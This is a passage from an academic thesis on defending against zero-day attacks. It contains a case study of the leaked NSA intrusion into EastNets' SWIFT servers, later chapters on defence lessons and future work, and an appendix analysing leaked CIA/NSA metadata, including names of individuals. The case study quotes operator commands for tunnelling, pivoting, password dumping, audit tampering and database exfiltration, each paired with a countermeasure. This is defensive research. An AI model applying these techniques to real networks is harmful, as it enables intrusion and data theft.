implemented with an IDS and appropriate network ﬁrewall design and conﬁguration.
7.4 Third Penetration
The third penetration of the network took place on 2013-05-14 starting at 12:35:13. Sim-
ilar to the previous network penetration, the attacker used the ourtn utility to con-
nect to another foreign jump server in Japan cis.cc.kurume-it.ac.jp (133.94.1.3) be-
fore using the tunnel utility to connect to the target server ensbdmgmt2.eastnets.com
(92.168.208.11).
Scrubhands was once again used by a diﬀerent operator using a diﬀerent local IP and
DNS server address:
/usr/local/bin/scrubhands -t -S 13050914490339 -I 37322 -P JEEPFLEA_MARKET -n 8.8.8.8
89.185.234.145/240/158↪→
This produced the following result:
#z0.0.0.11 = 192.168.208.11
#z0.0.0.12,z0.0.0.13 = 192.168.200.52
#z0.0.0.14,z0.0.0.15,z0.0.0.16 = 192.168.200.86
The ﬁrst target ENSBDMGMT2 (192.168.208.11) was merely used to pivot to the second
target:
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monitor packetredirect -listenport 3333 -raw
redirect -tcp -implantlisten 4426 -target 127.0.0.1 4426
Lateral movement across the local network between servers presented an opportunity to
detect the attack. If network segmentation had been in place as a means of compartmen-
talising, the attackers would have been restricted in their eﬀorts to access systems on the
network.
Once on the ENSBDSL2 (192.168.200.52) server, a search was run for Oracle databases:
grep -mask SPFILEACCESS.ORA -path D:\Alliance\Access\Database\database -pattern audit
-nocase↪→
Monitoring systems for commands run on them and exporting this to a remote log server
would allow for unusual activities, e.g., running grep on a Windows database server, to
be identiﬁed and acted upon accordingly.
The prepared SQL queries were readied and executed by the attacker. Results were sent
to the ﬁle, $ICD12FB.txt, which was retrieved before being deleted as can be seen in
Listing C.9.
The attacker checked the redirection:
monitor packetredirect -listenport 3333 -raw
redirect -tcp -implantlisten 42316 -target 127.0.0.1 42316
The last target of the network penetration was ENSBDNISL1 (192.168.200.86).
The attacker again attempted to search for and access the Oracle database but was unable
to locate the ORA ﬁle:
grep -mask SPFILEACCESS.ORA -path D:\Alliance\Access\Database\database\ -pattern audit
-nocase↪→
3:03 PM 5/14/2013 -- EMAGENT.EXE not running, grep returned nothing
This resulted in a failure to run the SQL query against the database:
SQL>@swift_msg_queries_all.sql
ERROR:
ORA-12560: TNS:protocol adapter error
By denying the attacker the database connection details stored in the .ORA ﬁles, the attack
was halted.
7.5. FOURTH PENETRATION 104
7.5 Fourth Penetration
The fourth penetration took place a few weeks later on 2013-06-05 beginning at 17:55:19
UTC. After connecting to a jump server in Taiwan, euclid.csie.cnu.edu.tw (163.22.20.4),
the attacker used ScrubHands, and included the Room-Station number of 11.5:
code/usr/local/bin/scrubhands -t -S 13053013155600 -P JEEPFLEA_MARKET
-I 90069 -T 11-5 -n 8.8.8.8,4.2.2.2 69.42.98.86/240/94
By examining the details in Listing C.10, we note the IP address of the server in Taiwan
along with the source and destination network ports, which indicates that PitchImpair
is a tunnel set up for providing access to target systems.
Monitoring for changes in open ports would be a method of detecting this attacker tech-
nique.
The attacker encountered some problems with the simple5 script so forced it to run before
tampering with the auditing and grabbing the password dump:
TL;DR: couldn't find the targetdb for the target.
Then simple bailed entirely... ran "survey -run" to force simple to run.
audit dorked; pwdump grabbed.
By evaluating the scripts to ensure they are on the approved list would provide a method
of preventing the attackers from running untrusted code.
The attacker checked the network redirection:
monitor packetredirect -listenport 2160 -raw
redirect -tcp -lplisten 1922 -target 192.168.200.51 1922
redirect -tcp -lplisten 9002 -target 192.168.200.87 9002
The second target system was ensbdsl1 (192.168.200.51) accessed with the CordialFlimsy
Trigger as per Listing C.6.
The attacker tampered with auditing and dumped the passwords:
5EquationGroupLeak/windows/Resources/Ep/Scripts/Simple3.eps
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dorked audit, pwdumped.
Mitre (2018b) terms this technique "disabling security tools" and suggests setting appro-
priate permissions for ﬁles, windows registry and processes to thwart this attack technique
and to monitor whether security processes are running.
The attacker collected SWIFT data from the database by pulling down a ﬁle which logi-
cally contained preprepared SQL. This was then run against the database to dump data
to a series of ﬁles which were collected before being removed (see Appendix C.12).
Enabling database auditing and exporting these audit log ﬁles to a remote system would
have revealed the attacker's actions. Including honey token records in the database would
have allowed the alarm to be raised when they were accessed by the attacker.
This was repeated for three date ranges but the last results ﬁle had a size of only 57B so
after rerunning the query the attacker grabbed the log ﬁle to ﬁgure out why. For details
see Listing C.13.
The attacker collected the three ﬁles that (Hall, n.d.) contained the Oracle network
conﬁguration details: tnsnames.ora, sqlnet.ora and listener.ora, as per Listing C.15.
The third target, ensbdnisl2 (192.168.200.87), was accessed in much the same way as the
second target by using CordialFlimsy. The attacker again had trouble with the simple
utility:
TL;Dr: simple exploded again. Can't find the targetdb. same issue as T1. going
to run "survey -run"
This time after connecting to the database the attacker was able to query a wider series
of date ranges from 20120101 to 20130604 and collected over 70 MB of Swift data:
Enter BEGINNING date in the format "yyyymmdd": 20120101
Enter ENDING date in the format "yyyymmdd": 20130604
By preventing external communication the exﬁltration could have been prevented. Alter-
natively, the use of IDS and IPS could aid in detecting or preventing this technique.
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7.6 Fifth Penetration
The ﬁfth network penetration took place the day after the Quantum operation (as dis-
cussed in Appendix D)) against Eastnet employees had completed on 2013-08-29 at
02:44:00 UTC via a jump server in Japan, cnt1.din.or.jp (210.135.90.41). This time
the operator performed some connectivity checks against the ﬁrewall:
-ping -r 80.227.254.202 -t -p 2194
80.227.254.202:2194 -> 210.135.90.41:15563 SYN ACK (port 2194 open)
-ping -r 80.227.254.202 -t -p 2443
80.227.254.202:2443 -> 210.135.90.41:15563 SYN ACK (port 2443 open)
Thereafter, the attacker connected with Scrub Hands:
/usr/local/bin/scrubhands -t -S 13082113184448 -I 85521 -P JEEPFLEA_MARKET
-n 200.42.213.11,200.42.213.21 186.120.114.169/240/174
Starting with the ﬁrst target, endxbmail001 (192.168.1.3), the attacker scanned for more
targets using nslookup before using the netbios command to learn a bit more about them.
See Listing C.14 for an example of this.
Disabling netbios is a recommended practice and has been for some years6 prior to this
attack taking place. Cutting oﬀ avenues for attackers to discover information about the
network is standard practice. While it may not be possible to disable all network informa-
tion services, e.g., DNS, it is possible to place entries7 that raise an alert when queried.
7.7 Sixth Penetration
The sixth and ﬁnal penetration began on 2013-09-04 at 15:57:40 UTC with the attacker
ﬁrst connecting to a jump sever, this time in Germany, isun02.informatik.uni-leipzig.de
(139.18.13.2) before running Scrub Hands:
/usr/local/bin/scrubhands -t -S 13083019453124 -I 33159 -P JEEPFLEA_MARKET
-n 212.92.23.5 79.172.193.160/192/129
6http://digitallachance.com/blog/2009/02/should-you-kill-netbios-from-your-network/
7Canary Tokens are one such option https://canarytokens.org
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Results:
z0.0.0.11 = 192.168.208.11
z0.0.0.12 = 192.168.200.92
z0.0.0.13 = 192.168.200.104
z0.0.0.14 = 192.168.219.245
The four targets were Windows servers ensbdmgmt2.eastnets.com (192.168.208.11),
ensbdaldn1.eastnets.com (192.168.200.92), ensbdsl3.eastnets.com (192.168.200.104)
and ensbdftp1.eastnets.com (192.168.219.245).
The ﬁrst target did not have its auditing tampered with and was used only to access the
next three servers: 5:07 PM 9/4/2013 - not dorking, redirecting only
Of particular interest is the PeddleCheap conﬁguration ﬁle which reveals that it supports
time-window based listening as per Listing C.11. By not having a network port open,
i.e., listening, all the time means that it cannot be found by network scanning except
during the conﬁgured listening hours. The opening of the port could have been detected
by monitoring for changes in open ports.
On each of the next three servers the attacker receive the callback and then proceeded to
upgrade SOTI using Kisu:
5:53 PM 9/4/2013 - trigger sent
5:54 PM 9/4/2013 - got CB
Process Id : 592
\____ running out of services.exe
8:09 PM 9/4/2013 - Upgrading SOTI:
kisu_install -type MOAN
kisu_uninstall -type MOAN
Employing application control and monitoring for ﬁle-system changes would have pre-
sented the opportunity to prevent and/or detect the attackers updating their malware.
7.8 Summary
This chapter analysed events that took place during the attack against the Swift network
information systems and provided details of what defence mechanisms might have detected
or slowed down this attack.
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The defense techniques included externalising monitoring, employing honeynetworks and
honeypots, white-listing at a ﬁle-system level, employing honeytokens, and compartmen-
talisation in the form of network segmentation.
Had these been successfully employed by the defenders would have been able to detect the
attack, even though it exploited a zero-day vulnerability, and observe the methods of the
attackers allowing the defenders to take further action, for example, calling in computer
forensic or security specialists, providing the attackers with a database of fake data or
remove their presence from the network.
Chapter 8
Other Defence Considerations
This chapter provides a list of generally applicable lessons that have been learned in
the course of the analysis of zero-day attacks. These are intended to aid defenders in
thinking about the types of threats that they will face in the future, make it clear that
air-gaps are insuﬃcient for defence, that the attack surface has changed due to the shifting
of system boundaries due to virtualisation, that OS privileges can bypass application
or database level security and reinforces the value that monitoring that is external to
and thus independent of the system being monitored can play even when the system is
compromised.
8.1 Lowering Barriers to Entry for Attackers
There are various factors that are lowering the cost of attacks which in turn changes the
cost/beneﬁt ratio for attackers.
8.1.1 Technology Cost
Kuhn and Anderson (1998) accurately predicted the rise of cheap SDRs. A type of
technology that is prohibitively expensive today may often become cheaper over time.
This reduces the resources required by a threat actor from those at the disposal of a
nation state ultimately all the way down to those available to a motivated individual.
It is possible to infer that examining exploitation techniques used by nation state actors
provides a glimpse into the future of attacks that can be conducted by less resourced
threat actors such as competitors, organised crime and even individuals where a decrease
in technology cost is a function of time.
A prime example of this is the osmo-ﬂ2k open source project by Markgraf (2018) which
allows certain USB3 to VGA adapters costing between ﬁve and ﬁfteen USD to be turned
into SDR transmitters. The author demonstrates that these are able to spoof a GSM
network. This dramatically lowers the cost of an SDR from the USD 300 of a HackRF.
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8.1.2 Idea Availability
The Internet allows for the dissemination of information far more rapidly and at lower
cost than ever before.
Even state sponsored attackers examine malware to see if they contain novel techniques
that they can borrow and reuse for their own purposes. The most obvious example is the
CIA (2015c) whose Umbrage team states that they maintain a library of such techniques
that are borrowed from malware that is discovered.
The leaking of NSA, Hacking Team and CIA documentation and tools has provided ideas
for attacking systems. Security researchers publishing their results provide additional
techniques for attacks. Vulnerability databases are publicly available and provide lists of
existing vulnerabilities which can be used as inspiration to search for similar problems
in other products. Furthermore, patches for security bugs can be reverse engineered by
applying them to the software containing the vulnerability before comparing the pre- and
post-patch versions of the software to determine where the vulnerability lies.
8.1.3 Code Reuse
Code reuse becomes possible when a modular design is embraced. In the speciﬁcation
on executing code in kernel space on Microsoft Windows systems, the CIA (2014) states
that by using a common interface for kernel space execution, multiple tools can use the
same local privilege escalations (LPE) and that if any LPE needs to be swapped out the
resulting testing burden is reduced.
This demonstrates that malware authors who embrace a modular architecture for their
malware will be able to create multiple variants with diﬀerent payloads using the same
exploits to gain privilege on a system. They would also be able to swap out exploits once
these have been discovered and patched.
Individual tools from third parties can also be reused. Two such examples are the
Linux/up/km3 utility created by Szombierski (2003) which exploits a vulnerability in the
Linux kernel via the ptrace call and the Linux/up/ptrace-kmod created by Purczynski
(2003) which exploits the insecure thread creation in kmod to gain control of modprobe1
which is a privileged binary.
1Used to load kernel modules (drivers).
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8.1.4 Hardware Reuse
It is not only software implementations and modules that can be reused in a modular ar-
chitecture. Hardware, if appropriately designed and architectured, can also be reused, for
example, the JuniorMint, Maestro-II, Trinity and Howler Monkey hardware modules
as described in Subsection 4.1.7, provide functionality that can be employed to achieve dif-
ferent goals. Such reusable modular hardware components can speed development while
lowering costs.
8.2 DLL Hijacking of Portable Applications
In hindsight discovering that portable versions of applications are commonly vulnerable
to DLL Hijack as per Fine Dining tool (CIA, n.d.) makes sense. These applications are
re-purposed versions of software that was originally installed in locations on a ﬁle-system
provided by an OS. With the installation path being diﬀerent, for example, a USB ﬂash
drive, the application may well still be searching for other DLLs that it would otherwise
have had access to.
8.3 Air-gaps are Dead
Air-gapping or ﬁre-walling oﬀ computers can be overcome using hardware devices which
provide their own network bridges. Governments have long moved to a physical area
zoning to separate sensitive systems from any other devices that could be used to exﬁltrate
data.
8.4 Attack Surface
The attack surface varies depending on the access to the system. For example, network
access requires open ports / listening services. This can be restricted by not running
unnecessary services, and by using ﬁrewalls to limit access to IP ranges.
Where proximity access is available then tempest attacks are possible e.g. power line,
RF, light, sound, etc. can be used to exﬁltrate data. When physical access to the box is
possible then USB ports, BIOS, and evil maid attacks become possible.
Virtualized systems extend the physical attack surface to the hypervisor and shared re-
sources e.g. processor through meltdown and spectre. Caching makes timing attacks
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possible as it speeds up or slows down reads. Examples of caches against which this class
of attack could be employed include hard drives and GPU caches.
The sharing of systems means that resources that were once inside the system boundary
are now straddling the boundaries that separate virtual machines. This has the ability to
exacerbate the impact of vulnerabilities such as meltdown and spectre. This shifting of
the system boundaries to expose new areas of attack surface results in new vulnerabilities
being exploited.
8.5 Leveraging Operating System Admin Privilege
Attackers will leverage OS privileges to gain access to the database without authenticating
to the database. Oracle (2018) states that to be able to connect to the database with
sysdba the only actions required are adding the OS user to the appropriate OS database
group.
This results in an attacker that has either the credentials for the OS database user or
super user access, trivially accessing the database without possessing credentials for it.
This illustrates the technique of going one level lower to bypass the access controls of a
system.
The ability to disable OS authentication to the database as the sysdba would provide an
extra hurdle for attackers.
8.6 Database Surveillance
Simple to run, generic, reusable pre-deﬁned SQL scripts can be used by attackers to quickly
collect the database schema and sample data. This would allow for a skeleton version of
database to be recreated with a small amount of actual data. Such a database would
facilitate oine analysis where the attackers would not be at risk of being discovered, and
would have time to examine and understand the database to identify tables containing
high value information. Scripted SQL queries could be developed to extract such valuable
data from the database during subsequent inﬁltrations.
By targeting only the required information the size and time requirements of the data
exﬁltration can be drastically reduced versus copying the entire database. This represents
one way in which attackers are able to leverage long a duration system compromise to
obtain other beneﬁts such as obtaining higher value information and reduced chance of
detection.
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8.7 Externalisation
This appears to be a very useful technique for attackers and defenders. It can be used to
move the attack out of the observable domain of the defences or vice versa.
This raises the option of analysing all attack techniques for the underlying mechanism
that renders them realizable with the intention of using them for defensive purposes. The
option of the converse necessarily also holds true.
8.8 Discussion
There are both parallels and diﬀerences between security in the physical and information
worlds. In the physical world the concept of being more secure than the next house is
applicable. This is because criminals seek to maximize their reward and minimize their
costs (opportunity cost and/or risk).
In information security it has been said that making it more expensive for attackers to
compromise an information system than that which they will gain, may convince them to
go elsewhere.
Software is a tool but it is also digital information and the cost of copying information is
close to zero. Once the software has been developed, then the marginal cost of additional
deployments is almost zero. When the cost of attacking a target approaches zero, that
changes the equation to result in always attack.
What other costs exist that we can attempt to increase? Having attacks utilising zero-
day exploits discovered results in countermeasures being developed rendering the initial
investment worthless. It is critical to be able to both detect and record an attack to
analyze it.
Attackers choose the time and the place to attack. They can attack the technology, e.g.,
SNMP on a Cisco ASA, the deﬁciencies in processes, due to a lack of patching, hardening,
background checks, and so on or the people, e.g., via phishing.
Defenders can alter their landscape to their advantage. They can choose to harden their
perimeter, implement defence in depth, monitor, install honeypots, have security conscious
processes that are adhered to and have training, awareness programs and phishing tests
for staﬀ.
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Attack is easier than defence. Moreover, attack is the best form of defence. While the
attacker can attack the defences, the defender can also attack the methods employed by
the attacker.
An active (moving) attack overcomes a static defence but defences need not be static.
Instead, they could be a moving target that ﬁghts back or a more agile participant. As
the CSEC (2012) states in their analysis of TLS trends for changes in technology and
abnormalities, it is important to be proactive.
Chapter 9
Conclusion and Future Work
This chapter ﬁrst summarises the research conducted and highlights the contributions
thereof. It concludes with a selection of topics for future work.
9.1 Summary of Research
As an attack may utilise a zero-day exploit for one of more of its steps while the remainder
of the actions taken do not make use of zero-days, an analysis of multiple sources of
tools and techniques making use of zero-day and non-zero-day exploits was conducted in
Chapter 4.
These were then categorised into various types or classes of attack according to common
attributes in Chapter 5. Examples of these categorisations include by target, exploitation
vector and goal of the attacker.
To defend against these and potentially other types of attacks, various defences were pro-
posed and categorised. Examples of these include guarding against interception, counter-
ing electromagnetic emanations used to bridge air-gaps and exﬁltrate data, and thwarting
attempts to circumvent security measures.
A case study of a real-world network intrusion that began with a zero-day exploit to gain
the initial foothold through to the exﬁltration of the data, was provided in Chapter 7 to
illustrate how certain defences could have identiﬁed, halted or mitigated these attacks.
Lastly, certain concepts that did not ﬁt neatly into the attack or defence classes but were
deemed important for defenders to consider, were discussed in the penultimate chapter.
9.2 Contributions of Research
The analysis of the raw dumps of the NSA and CIA tools and documentations provides a
useful starting point for information security researchers to conduct further research into
attacker tactics and techniques employed by highly resourced attackers.
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The deep dive into the Unix and SWIFT network intrusions provide details of the tech-
niques and tactics used by attackers to break into and spread laterally before exﬁltrating
data. This can be used by defenders to inform their defensive strategy by considering
what tactics would be required to defend against these and newer attack types such as
ﬁleless malware.
Many of the exploits and attacks that are performed by nation state actors are well within
the reach of skilled individuals. These actors actively seek out research from security
researchers and malware authors to reuse for their own purposes. The converse also holds
true, as evidenced by the approach used in this thesis, where defenders can learn from
attackers.
Attackers place great emphasis on maintaining covertness as being discovered would likely
cause the achievement of their goals to be denied. A further downside would be unwanted
attention via attribution which attackers seek to mitigate through obfuscation and mis-
direction so that attacks are incorrectly attributed to third parties. Defenders should
be aware that the perceived source of the attack is easily manipulated through falsifying
forensic artefacts and using third party networks to launch attacks. A defence based
on blocking attacks based on the source networks is trivial for any but the most inept
attacker to overcome.
By understanding the tactics and techniques of attackers rather than the speciﬁc imple-
mentations thereof, defenders are able to take action against both known and unknown
attacks. There is not a one-to-one mapping of attacks to defences but rather a many-to-
one mapping. One attack can be used across multiple technology areas. Fortunately, as
discussed in this research some defences, e.g., network monitoring, can be used to against
many types of attacks.
Tools, be they technologies, implementations or approaches, can be used for both defence
or attack. For example, encryption can be used by defenders to protect against intercep-
tion by attackers who can in turn ensure secrecy of their communications by the same
means. Legal restrictions on encryption would result in the law-abiding people being at
greater risk than before while not impacting those who are unwilling to comply with the
law or are outside the law's jurisdiction.
One of the key conclusions of the research is that in the face of superior attacker tech-
nology, i.e., the zero-day exploit of an unknown vulnerability, the defender has to resort
to tactics to negate the technological and knowledge advantage. Such tactics can include
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detecting and alerting on the attack or slowing down the attacker through the use of com-
partmentalization for example, network segmentation, and misdirection. This increases
the chance of detection and the amount of time available to react.
Many attacker techniques and defender tactics are discussed in Chapters 5 and 6 respec-
tively with Chapter 8 describing considerations such as the lower start-up cost of attackers
due to modern technology.
Additional tactics available to defenders include capturing malware samples for analysis.
These can be analyzed in-house or made available to security researchers. By making
analysis of malware public, defenders can pool their resources to blunt the eﬀectiveness
of attacker techniques. This also reduces the return on investment into vulnerability and
exploit research by attackers by reducing the number of times it can be reused.
Attackers also employ tactics such as circumventing or bypassing security controls rather
than defeating them outright. These tactics range from malware development techniques,
to using OS functionality and operating out of memory to deny PSPs the ability to analyse
their ﬁles residing on disk.
Defenders should not rely on attackers maintaining past behaviour to detect their actions.
They should instead control their landscape so that when the attacker makes changes,
even if they are ephemeral in nature, they can detect them. Similarly, by creating external
observability of a system attackers will not be able to hide their actions should they
succeed in compromising the system.
How air-gaps are defeated by electromagnetic emanations is described along with measures
to defend against such air-gap hopping attacks. Similarly, the generic problem of side-
channels is considered and deemed to be due to unintentional design oversights that allow
information regarding secrets to be leaked or deduced.
Defenders can dramatically increase the risk for attackers by causing the attacker's suc-
cessful access of decoy information to reveal their attack. This can be done through the
use of honeytokens in, e.g., databases, DNS and directory systems, which have no legiti-
mate use and raise alerts when accessed. By exploiting the asymmetry in information as
to what should and should not be accessed, defenders are able to increase the diﬃculty
for attackers to remain undetected.
By not relying on a single type of security control and putting in place policies and
procedures that require and reward staﬀ for ﬂagging suspicious behaviour the chance of
prevention or detection and damage limitation are increased.
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9.3 Future Research
This section identiﬁes several areas for further research.
9.3.1 Government Standards Dealing with Information Security
Governments have long had Tempest related standards for protecting against leaking in-
formation through electromagnetic emanations. This was principally for high security
systems, e.g., diplomatic or defence. However, with the lowered cost of attack defenders
of businesses and individuals may be attacked using the same methods but employed
by ordinary criminals. To prevent becoming victims, they may need to adopt the same
defences. Unfortunately many government standards pertaining to this area are not avail-
able to the public. However, the relevant documents are slowly becoming available due
to freedom of information requests.
9.3.2 Government Methods for Exploiting Vulnerabilities
Another area that may yield relevant information is possible future revelations of govern-
ment techniques for exploiting vulnerabilities in information and communication systems.
Governments have a strategic interest in researching and building such attacks. This
combined with the resources to implement them can put them years ahead of private
enterprise and academic researchers.
9.3.3 DLL Hijacking for Portable versus Installed Software
Further investigation is required to see whether portable versions of software are more
susceptible to DLL Hijack than their installed versions. Reporting these as security bugs
to vendors and raising awareness may improve information security in a wide-reaching
fashion.
9.3.4 Artiﬁcial Intelligence for Attackers and Defenders
The possible future use of artiﬁcial intelligence has been proposed by Schneier (2018) to
discover vulnerabilities, abstract generalised lessons from incidents and identify trends in
order to adapt attacks and defences. These suggestions in large part call for automating
the manually conducted research of this thesis.
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9.3.5 Unexplored Attacker Exploit Tools and Methods
There is a vast amount of exploit tools, documentation such as the NSA's Linux/doc and
Linux/etc directories released by the Shadow Brokers, and discussions of practices, e.g.,
the CIA's internal wiki. Due to the sheer volume only a tiny fraction thereof has been
analysed and described before categorising and summarising the defences in this thesis.
The rest remains to be done.
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Appendix A
Meta-data Analysis
This appendix provides meta-data that are referenced to substantiate statements.
A.1 Hive Git Repository
The Git source code repository for the CIA's Hive tool was leaked as the ﬁrst release
of Vault 8 by WikiLeaks. Analysis of this repository revealed that, unlike the PDF ﬁles
released by WikiLeaks, not all the metadata had been removed. This process and the
results thereof are detailed below.
The git repository was not in a usable state as no description was set.
This was remedied by setting it to hive: $ echo hive > .git/description
The git branches were then listed:
$ git branch
armv5
autotools
debug
dhm
makemods
* master
mt6
polar-0.14.3
polar-1.1.8
polar-1.2.11
polar-1.3.4
solarisbug
ubiquiti
To get a break down of committers:
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$ git shortlog --all -s -n
342 Jack M
295 User #142
47 User #140
32 User #217
28 miker
9 Michael R
5 User #226
In order to determine which user corresponded with users #142, #140 and #217 several
steps were required. First a list of dangling tags and commits was obtained:
$ git fsck
Checking object directories: 100% (256/256), done.
Checking objects: 100% (3226/3226), done.
dangling tag fdc342e458646c631685121ab1c40ec8df78a126
dangling commit e3051377e1442f730cad5b91666b60537b6224c4
dangling tag 85871db9fbb09675c4a5bad6e0d71565e1128f68
dangling tag b54979bf6317aa5b894bb0487d0b6ee05762b74c
dangling tag 900af8c8ac0cf6d5d004fd92d7f216d3b537f331
dangling tag 9c0b593bc443d372e2cf552aa6d129137cefacc5
dangling commit cfcc590daa495a09ce5971976ad4db641eba3a89
dangling tag a70d8dbef7508dbf61bb40ee2645502a8ae105f1
dangling tag 8c4f979f3a1b63ea952294b863e12ba89d839d03
dangling commit 4e13e648aaa679ef8dd5d7b56065bc3a3e406cf8
dangling commit dfd4a30c06ce11fbb4ace53940b9419be6e7477a
dangling tag eb5a11e31406d93b8859d694356a37f691b37d19
dangling tag ea5cf1df2aaadac6d4c36ffdc10bc51b3d66bd25
dangling commit 9b9fa3999124dd2960ae8ae45e58abc2574961d5
dangling tag 5ce0c7f70e2cde85df498cac0046e2a7fef0add3
dangling tag ee2452859b818381f61e14dc62ca7f727073316b
dangling tag 7fa6d24bca8da9d5fd30246616e5db41b780684e
dangling tag 5ea9e6ee1a2fcd5714320646c1b90f0ce34a9b1f
dangling tag c9e9d282d478e35374ad9d83985340751b80fb91
dangling tag 042b1a8634e8fc74f5ebc123cdb4cbfc98e719b7
dangling tag 1e2dc80385c500603c776ce7c29836c81079373e
dangling tag e475d462b2cfae9a2300467e728a16b7cd420408
dangling tag de76eea7d8e1abd60e90b4f6d2170706dd45b7ae
dangling tag 63383711ecbdfe020fbd4fb4e60cb866a2f03e4e
dangling tag c57a77230e31b2579ef13e3a309c60b69e5dcd32
dangling tag 06bb9688fc8637523f1a5d39019d54e042f97352
dangling tag 41fc5711837340d15cc90b84d99fb44a6871a4d6
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Then dangling commits were examined and compared to those that had been successfully
committed.
commit cd32369f329cef1a4f185e42024b9d58a2a31792 (tag: hive-2.6.1)
Author: miker <miker@stash.devlan.net>
Date: Thu Aug 8 15:33:44 2013 -0400
Author: User #226 <Account.234@devlan.net>
Date: Thu Aug 8 15:33:44 2013 -0400
commit bdfe6a0c9a3d0fd2b69060d03c6cd3453f89814f
Author: User #142 <Account.156@devlan.net>
Date: Tue Aug 4 16:25:41 2015 -0400
Modify implementation of timeout on DNS queries to eliminate beacon failures on some
platforms due to DNS response failure.↪→
commit 63b95ac3c8f778963900c983ae382f53a55a611a
Author: Jack M <jackmc@devlan.net>
Date: Tue Aug 4 16:25:41 2015 -0400
Modify implementation of timeout on DNS queries to eliminate beacon failures on some
platforms due to DNS response failure.↪→
This Git meta-data information was conﬁrmed by older versions of the PDF version of the
Hive User Guide which lists the developers of Hive as Mike Russell (EDG/AED/EDB),
Jack McMahon (EDG/AED/EDB), Jeremy Haas (EDG/AED/EDB) or Brian Timmons
(EDG/AED/RDB) as of January 2013 (Russell et al., 2014).
The newer versions of the user guide revealed that for Hive 2.7, as of January 2014, the
developers were Mike Russell, Jack McMahon, and Jeremy Haas. This changed to Mike
Russell and Jack McMahon with Hive 2.8 as of September 2014. Thereafter in October
2014 and January 2015 the developers remained the same as of September 2014.
A.2 Meta-data Listings
Metadata was deemed to be a useful source for this thesis. It was extracted using the
exiftool utility and revealed that WikiLeaks had taken eﬀorts to remove it.
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$ exiftool -A -G ./swift/JFM_Status.pptx |egrep -v 'ZIP|File'
[XML] Total Edit Time : 6.2 hours
[XML] Words : 206
[XML] Application : Microsoft Office PowerPoint
[XML] Presentation Format : On-screen Show (4:3)
[XML] Paragraphs : 75
[XML] Slides : 4
[XML] Notes : 2
[XML] Hidden Slides : 0
[XML] MM Clips : 0
[XML] Scale Crop : No
[XML] Heading Pairs : Theme, 2, Slide Titles, 4
[XML] Titles Of Parts : Office Theme, 1_NEW NSA
TX_Briefing_Format, JEEPFLEA_MARKET, PowerPoint Presentation, JEEPFLEA_POWDER,
PowerPoint Presentation
↪→
↪→
[XML] Company : .
[XML] Links Up To Date : No
[XML] Shared Doc : No
[XML] Hyperlinks Changed : No
[XML] App Version : 14.0000
[XML] CLASSIFICATION : TOP SECRET
[XML] SCI : SI
[XML] DISSEMINATION : NOFORN
[XML] DECLASSIFYBY : MAPECOR
[XML] DERIVEDFROM : NSA/CSSM 1-52
[XML] DERIVEDDATED : 20070108
[XML] DECLASSIFYON : 20380701
[XML] Last Modified By : Pecoraro Michael A NSA-FTS32 USA USA
[XML] Revision Number : 9
[XML] Create Date : 2013:07:01 18:44:46Z
[XML] Modify Date : 2013:08:12 18:52:27Z
[XMP] Title : PowerPoint Presentation
[XMP] Creator : Pecoraro Michael A NSA-FTS32 USA USA
Listing A.1: Output of exiftool for JFM Status
A.3 Searching for Text Strings Within PDFs
One of the methods used during the analysis phase of this thesis was searching through
large quantities of documents. For PDF ﬁles this was performed via the use of pdfgrep
utility and the awk programming language.
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$ exiftool -A -G
The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf↪→
exiftool -A -G
The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf↪→
[ExifTool] ExifTool Version Number : 10.80
[File] File Name :
The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf↪→
[File] Directory : .
[File] File Size : 5.3 MB
[File] File Modification Date/Time : 2017:03:06 12:21:28+02:00
[File] File Access Date/Time : 2018:06:25 17:03:12+02:00
[File] File Inode Change Date/Time : 2018:04:21 13:36:41+02:00
[File] File Permissions : rw-r--r--
[File] File Type : PDF
[File] File Type Extension : pdf
[File] MIME Type : application/pdf
[PDF] PDF Version : 1.3
[PDF] Linearized : No
[PDF] Page Layout : OneColumn
[PDF] Page Count : 46
Listing A.2: Output of exiftool for modiﬁed PDF
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$ exiftool -A -G
The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf↪→
[ExifTool] ExifTool Version Number : 10.80
[File] File Name :
The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf↪→
[File] Directory : .
[File] File Size : 11 MB
[File] File Modification Date/Time : 2018:06:26 15:56:19+02:00
[File] File Access Date/Time : 2018:06:26 15:56:37+02:00
[File] File Inode Change Date/Time : 2018:06:26 15:56:19+02:00
[File] File Permissions : rw-rw-r--
[File] File Type : PDF
[File] File Type Extension : pdf
[File] MIME Type : application/pdf
[PDF] PDF Version : 1.7
[PDF] Linearized : Yes
[PDF] Page Layout : OneColumn
[PDF] Page Count : 46
[PDF] Create Date : 2015:06:11 13:43:51+03:00
[PDF] Creator : Adobe InDesign CC 2014 (Macintosh)
[PDF] Modify Date : 2015:06:11 13:43:58+03:00
[PDF] Producer : Adobe PDF Library 11.0
[PDF] Trapped : False
[XMP] XMP Toolkit : Adobe XMP Core 5.6-c014 79.156797,
2014/08/20-09:53:02↪→
[XMP] Create Date : 2015:06:11 13:43:51+03:00
[XMP] Metadata Date : 2015:06:11 13:43:58+03:00
[XMP] Modify Date : 2015:06:11 13:43:58+03:00
[XMP] Creator Tool : Adobe InDesign CC 2014 (Macintosh)
[XMP] Instance ID :
uuid:52926036-ea3f-b848-9665-0ad272a5cf4c↪→
[XMP] Original Document ID :
xmp.did:35f13ac8-d01b-c840-8cfd-cd5530922a76↪→
[XMP] Document ID :
xmp.id:cb83016c-a507-4c41-bb3f-e6be95fe6ac4↪→
[XMP] Rendition Class : proof:pdf
[XMP] Derived From Instance ID :
xmp.iid:6b2bf216-fcd7-4bfc-afd9-6a3fd689d674↪→
[XMP] Derived From Document ID :
xmp.did:323208B40B20681180838E009A1555C4↪→
[XMP] Derived From Original Document ID:
xmp.did:35f13ac8-d01b-c840-8cfd-cd5530922a76↪→
[XMP] Derived From Rendition Class : default
[XMP] History Action : converted
[XMP] History Parameters : from application/x-indesign to
application/pdf↪→
[XMP] History Software Agent : Adobe InDesign CC 2014 (Macintosh)
[XMP] History Changed : /
[XMP] History When : 2015:06:11 13:43:51+03:00
[XMP] Format : application/pdf
[XMP] Producer : Adobe PDF Library 11.0
[XMP] Trapped : False
Listing A.3: Output of exiftool for original PDF
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vault7/document$ pdfgrep -r -m 1 "Raytheon Blackbird Technologies" |awk '{print $1}'
